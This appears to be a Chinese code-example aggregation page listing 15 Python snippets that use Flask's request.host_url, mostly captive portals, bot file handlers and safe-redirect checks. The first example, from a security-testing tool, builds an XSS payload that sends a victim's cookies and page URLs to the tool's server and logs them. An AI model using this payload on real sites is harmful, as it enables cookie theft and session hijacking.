当前位置: 首页>>代码示例>>Python>>正文


Python request.host_url方法代码示例

本文整理汇总了Python中flask.request.host_url方法的典型用法代码示例。如果您正苦于以下问题:Python request.host_url方法的具体用法?Python request.host_url怎么用?Python request.host_url使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在flask.request的用法示例。


在下文中一共展示了request.host_url方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: xss

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def xss(name, action):
    callback_url = request.host_url + 'xss/' + quote(name) + '/save?l='
    js_body = "(function(){(new Image()).src='" + callback_url + "'+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&t='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&c='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&o='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
    if action == 'js':
        return js_body
    elif action == 'save':
        args = request.values
        data = [
            name,
            args.get('l', ''),
            args.get('t', ''),
            args.get('o', ''),
            args.get('c', ''), request.remote_addr
        ]
        sql = "INSERT INTO xss (name,location,toplocation,opener,cookie,source_ip,insert_time) \
            VALUES(?, ?, ?, ? ,?, ?, datetime(CURRENT_TIMESTAMP,'localtime'))"

        DB.exec_sql(sql, *data)
        return 'success' 
开发者ID:opensec-cn,项目名称:vtest,代码行数:21,代码来源:vtest.py

示例2: get_click

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def get_click():
    """Process GET requests to the /click URI; render the click.html page."""
    global base_grant_url
    global user_continue_url
    global success_url

    host = request.host_url
    base_grant_url = request.args.get('base_grant_url')
    user_continue_url = request.args.get('user_continue_url')
    node_mac = request.args.get('node_mac')
    client_ip = request.args.get('client_ip')
    client_mac = request.args.get('client_mac')
    success_url = host + "success"

    return render_template(
        "click.html",
        client_ip=client_ip,
        client_mac=client_mac,
        node_mac=node_mac,
        user_continue_url=user_continue_url,
        success_url=success_url,
    ) 
开发者ID:CiscoDevNet,项目名称:meraki-code,代码行数:24,代码来源:external_captive_portal.py

示例3: __init__

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def __init__(self, **kwargs):
        """Initialises a new ``Self`` link instance. Accepts the same
        Keyword Arguments as :class:`.Link`.

        Additional Keyword Args:
            external (bool): if true, force link to be fully-qualified URL, defaults to False

        See Also:
            :class:`.Link`
        """

        url = request.url
        external = kwargs.get('external', False)
        if not external and current_app.config['SERVER_NAME'] is None:
            url = request.url.replace(request.host_url, '/')

        return super(Self, self).__init__('self', url, **kwargs) 
开发者ID:BBVA,项目名称:chaos-monkey-engine,代码行数:19,代码来源:hal.py

示例4: handle_content_message

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def handle_content_message(event):
    if isinstance(event.message, ImageMessage):
        ext = 'jpg'
    elif isinstance(event.message, VideoMessage):
        ext = 'mp4'
    elif isinstance(event.message, AudioMessage):
        ext = 'm4a'
    else:
        return

    message_content = line_bot_api.get_message_content(event.message.id)
    with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix=ext + '-', delete=False) as tf:
        for chunk in message_content.iter_content():
            tf.write(chunk)
        tempfile_path = tf.name

    dist_path = tempfile_path + '.' + ext
    dist_name = os.path.basename(dist_path)
    os.rename(tempfile_path, dist_path)

    line_bot_api.reply_message(
        event.reply_token, [
            TextSendMessage(text='Save content.'),
            TextSendMessage(text=request.host_url + os.path.join('static', 'tmp', dist_name))
        ]) 
开发者ID:line,项目名称:line-bot-sdk-python,代码行数:27,代码来源:app.py

示例5: handle_file_message

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def handle_file_message(event):
    message_content = line_bot_api.get_message_content(event.message.id)
    with tempfile.NamedTemporaryFile(dir=static_tmp_path, prefix='file-', delete=False) as tf:
        for chunk in message_content.iter_content():
            tf.write(chunk)
        tempfile_path = tf.name

    dist_path = tempfile_path + '-' + event.message.file_name
    dist_name = os.path.basename(dist_path)
    os.rename(tempfile_path, dist_path)

    line_bot_api.reply_message(
        event.reply_token, [
            TextSendMessage(text='Save file.'),
            TextSendMessage(text=request.host_url + os.path.join('static', 'tmp', dist_name))
        ]) 
开发者ID:line,项目名称:line-bot-sdk-python,代码行数:18,代码来源:app.py

示例6: unlink_oauth

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def unlink_oauth(provider):
        if request.host_url + 'me' != request.referrer:
            pass
        query = ub.session.query(ub.OAuth).filter_by(
            provider=provider,
            user_id=current_user.id,
        )
        try:
            oauth_entry = query.one()
            if current_user and current_user.is_authenticated:
                oauth_entry.user = current_user
                try:
                    ub.session.delete(oauth_entry)
                    ub.session.commit()
                    logout_oauth_user()
                    flash(_(u"Unlink to %(oauth)s Succeeded", oauth=oauth_check[provider]), category="success")
                except Exception as e:
                    log.exception(e)
                    ub.session.rollback()
                    flash(_(u"Unlink to %(oauth)s Failed", oauth=oauth_check[provider]), category="error")
        except NoResultFound:
            log.warning("oauth %s for user %d not found", provider, current_user.id)
            flash(_(u"Not Linked to %(oauth)s.", oauth=oauth_check[provider]), category="error")
        return redirect(url_for('web.profile'))


    # notify on OAuth provider error 
开发者ID:janeczku,项目名称:calibre-web,代码行数:29,代码来源:oauth_bb.py

示例7: is_safe_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc 
开发者ID:janeczku,项目名称:calibre-web,代码行数:6,代码来源:redirect.py

示例8: validate_redirect_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def validate_redirect_url(url):
    if url is None or url.strip() == "":
        return False
    url_next = urlsplit(url)
    url_base = urlsplit(request.host_url)
    if (url_next.netloc or url_next.scheme) and url_next.netloc != url_base.netloc:
        return False
    return True 
开发者ID:Flask-Middleware,项目名称:flask-security,代码行数:10,代码来源:utils.py

示例9: is_safe_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc 
开发者ID:LibrIT,项目名称:passhport,代码行数:7,代码来源:views.py

示例10: is_safe_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def is_safe_url(target):
    """
    check if target will lead to the same server
    """
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc 
开发者ID:bepasty,项目名称:bepasty-server,代码行数:9,代码来源:http.py

示例11: get_referrer_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def get_referrer_url():
    """获取上一页地址"""
    if request.referrer and request.referrer.startswith(request.host_url) and request.endpoint and not "api." in request.endpoint:
        url = request.referrer
    else:
        url = None
    return url 
开发者ID:staugur,项目名称:IncetOps,代码行数:9,代码来源:web.py

示例12: from_manifest

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def from_manifest(app, filename, raw=False, **kwargs):
    '''
    Get the path to a static file for a given app entry of a given type.

    :param str app: The application key to which is tied this manifest
    :param str filename: the original filename (without hash)
    :param bool raw: if True, doesn't add prefix to the manifest
    :return: the resolved file path from manifest
    :rtype: str
    '''
    cfg = current_app.config

    if current_app.config.get('TESTING'):
        return  # Do not spend time here when testing

    path = _manifests[app][filename]

    if not raw and cfg.get('CDN_DOMAIN') and not cfg.get('CDN_DEBUG'):
        scheme = 'https' if cfg.get('CDN_HTTPS') else request.scheme
        prefix = '{}://'.format(scheme)
        if not path.startswith('/'):  # CDN_DOMAIN has no trailing slash
            path = '/' + path
        return ''.join((prefix, cfg['CDN_DOMAIN'], path))
    elif not raw and kwargs.get('external', False):
        if path.startswith('/'):  # request.host_url has a trailing slash
            path = path[1:]
        return ''.join((request.host_url, path))
    return path 
开发者ID:opendatateam,项目名称:udata,代码行数:30,代码来源:assets.py

示例13: is_safe_redirect

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def is_safe_redirect(redirect_url):
    # Fail everything starting with more then one slash
    # http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html
    if redirect_url.startswith('//'):
        return False
    # Validate given URL to make sure it's still on this server
    current_server = urlparse(request.host_url)
    redirect = urlparse(urljoin(request.host_url, redirect_url))
    return redirect.scheme in ('http', 'https') and \
            redirect.netloc == current_server.netloc 
开发者ID:paxswill,项目名称:evesrp,代码行数:12,代码来源:validate_redirect.py

示例14: info_event_hackathon_json

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def info_event_hackathon_json(event_id):
    event = Event.query.filter_by(id=event_id).first_or_404()
    return jsonify(event.get_schema(request.host_url))

# ------ EVENT PROJECTS ---------

# API: Outputs JSON of projects in the current event, along with its info 
开发者ID:hackathons-ftw,项目名称:dribdat,代码行数:9,代码来源:api.py

示例15: is_safe_url

# 需要导入模块: from flask import request [as 别名]
# 或者: from flask.request import host_url [as 别名]
def is_safe_url(target):
    from flask import request
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc 
开发者ID:ziirish,项目名称:burp-ui,代码行数:8,代码来源:security.py


注:本文中的flask.request.host_url方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。